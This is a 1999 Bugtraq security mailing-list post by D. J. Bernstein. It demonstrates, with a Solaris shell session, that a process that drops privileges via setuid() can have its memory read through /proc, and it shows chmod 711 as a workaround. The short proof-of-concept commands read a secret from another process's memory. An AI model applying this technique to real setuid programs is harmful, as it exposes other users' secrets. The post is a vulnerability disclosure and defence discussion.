[9051] in bugtraq
Tracing by uid u after root does setuid(u)
daemon@ATHENA.MIT.EDU (D. J. Bernstein)
Wed Jan 13 13:57:03 1999
Date: Wed, 13 Jan 1999 02:39:16 -0000
Reply-To: "D. J. Bernstein" <djb@CR.YP.TO>
From: "D. J. Bernstein" <djb@CR.YP.TO>
To: BUGTRAQ@NETSPACE.ORG
Neale Banks writes:
> You are proposing that some significant security is obtained by making
> an executable file unreadable?
Here's a sample session under Solaris:
# head -1 > login.c
static char secret[10]; main() { read(0,secret,10); setuid(1); sleep(60); }
# gcc -o login login.c
# echo OSSIFRAGE | ./login &
25145
# nm login | grep secret
[35] | 133268| 10|OBJT |LOCL |0 |17 |secret
# su daemon -c '(lseek 133268; dd bs=10 count=1) < /proc/25145'
OSSIFRAGE
1+0 records in
1+0 records out
That's right: tracing is allowed even though there hasn't been an exec.
Many programs that use setuid() can be exploited this way. For example,
you lose all security if you use the chdir()/setuid() mechanism
suggested by Steve Bellovin and Gene Spafford.
Fortunately, as I said, there's a trivial workaround. All you have to do
is make the binaries unreadable:
# chmod 711 login
# su daemon -c ': < /proc/25145'
su: /proc/25145: cannot open
Perhaps the Sun kernel developers aren't aware that it's bad to allow
tracing after a program changes uid, but obviously they are aware that
it's bad to allow tracing of an unreadable program. In fact, the /proc
documentation identifies this as a security measure.
I'm not saying that unreadability provides some sort of magic immunity
against any conceivable OS bug; but I haven't found any systems where
it's inadequate.
---Dan
